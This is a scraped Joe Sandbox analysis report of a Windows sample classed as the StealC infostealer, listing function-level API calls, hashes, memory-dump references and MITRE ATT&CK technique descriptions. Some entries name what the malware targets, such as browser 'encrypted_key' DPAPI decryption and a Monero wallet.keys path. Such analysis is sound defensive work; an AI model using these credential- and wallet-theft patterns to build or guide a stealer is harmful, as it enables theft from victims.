Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 9d0dedd6ed9a672a0a6fb22be721f2d8efa819dbea89b59b43ee64327baa2d07
Instruction ID: a8d3a2ac62e1aaf85b5b4252b1a097c2538ec6061acda280fe2b67579aa42999
Opcode Fuzzy Hash: 9d0dedd6ed9a672a0a6fb22be721f2d8efa819dbea89b59b43ee64327baa2d07
Instruction Fuzzy Hash: 253130B5D10109ABCF04EBE8DC85AFFB7BABF49304F14451DE905A7241E7349A44CBA5

Function 006A8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,006B05B7), ref: 006A86CA
Process32First.KERNEL32(?,00000128), ref: 006A86DE
Process32Next.KERNEL32(?,00000128), ref: 006A86F3

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

CloseHandle.KERNEL32(?), ref: 006A8761

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 0e07c5a1e3774772d0a0852cb733dd2fd2c0d6372d101a2d483fad7567e022d8
Instruction ID: 24a69466e996a197aa41d53b5ac417e176338160f2eaf49d6b374c2d511fbf61
Opcode Fuzzy Hash: 0e07c5a1e3774772d0a0852cb733dd2fd2c0d6372d101a2d483fad7567e022d8
Instruction Fuzzy Hash: E0314F71901218ABCBA4EF94CC45FEEB779FB46700F10429EE50AA2190DB346E45CFA1

Function 006A7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,006B0E00,00000000,?), ref: 006A79B0
RtlAllocateHeap.NTDLL(00000000), ref: 006A79B7
GetLocalTime.KERNEL32(?,?,?,?,?,006B0E00,00000000,?), ref: 006A79C4
wsprintfA.USER32 ref: 006A79F3

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 07abde08ea2fa19c5793be513631f6deadbeb0c139b64c6d396d036c1a624299
Instruction ID: 3f42e3b0e47451a647fbbaf998420d2af77329c5588b1f72523a10e15f18db93
Opcode Fuzzy Hash: 07abde08ea2fa19c5793be513631f6deadbeb0c139b64c6d396d036c1a624299
Instruction Fuzzy Hash: E3112AB2904118ABCB14DFC9DD45BBEB7F8FB4CB11F10421AFA05A2280D7399940DBB1

Function 006AC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 006AC74E

Part of subcall function 006ABF9F: __amsg_exit.LIBCMT ref: 006ABFAF

__getptd.LIBCMT ref: 006AC765
__amsg_exit.LIBCMT ref: 006AC773
__updatetlocinfoEx_nolock.LIBCMT ref: 006AC797

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 545a576d6d43f8dfd2923db08efcb399cb4f3705d41349c72d34806545de2f9d
Instruction ID: a16fb6ab7003d5cbd9dda262588bce2a76fe2cdfe3e240d0775e5f2d5e477e4b
Opcode Fuzzy Hash: 545a576d6d43f8dfd2923db08efcb399cb4f3705d41349c72d34806545de2f9d
Instruction Fuzzy Hash: 45F090729006049FD7A1BFB85806B8D73A3AF02730F24514DF404A62D3CB649D81DF9E

Function 006A4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006A8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006A8E0B

lstrcat.KERNEL32(?,00000000), ref: 006A4F7A
lstrcat.KERNEL32(?,006B1070), ref: 006A4F97
lstrcat.KERNEL32(?,01269190), ref: 006A4FAB
lstrcat.KERNEL32(?,006B1074), ref: 006A4FBD

Part of subcall function 006A4910: wsprintfA.USER32 ref: 006A492C
Part of subcall function 006A4910: FindFirstFileA.KERNEL32(?,?), ref: 006A4943

Part of subcall function 006A4910: StrCmpCA.SHLWAPI(?,006B0FDC), ref: 006A4971
Part of subcall function 006A4910: StrCmpCA.SHLWAPI(?,006B0FE0), ref: 006A4987
Part of subcall function 006A4910: FindNextFileA.KERNEL32(000000FF,?), ref: 006A4B7D
Part of subcall function 006A4910: FindClose.KERNEL32(000000FF), ref: 006A4B92

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: cdc41293ba9d231648d1aff1db9dba863deef8bdaa3edff432715e984753af19
Instruction ID: ec403992bb3081ecc47b7592101c25b84e5a4b7b685681d10bd8dfd88f23388f
Opcode Fuzzy Hash: cdc41293ba9d231648d1aff1db9dba863deef8bdaa3edff432715e984753af19
Instruction Fuzzy Hash: 7D21D0B69002046BC794F7B0DC46EEE337DB755300F40465DB64557181DE749AC8CF96

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 006A9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 006945C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00694880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 006A9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00696280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 006A5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 006A17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 006A7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 006A69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 006A6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 006947B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 006A51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Function 00691220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON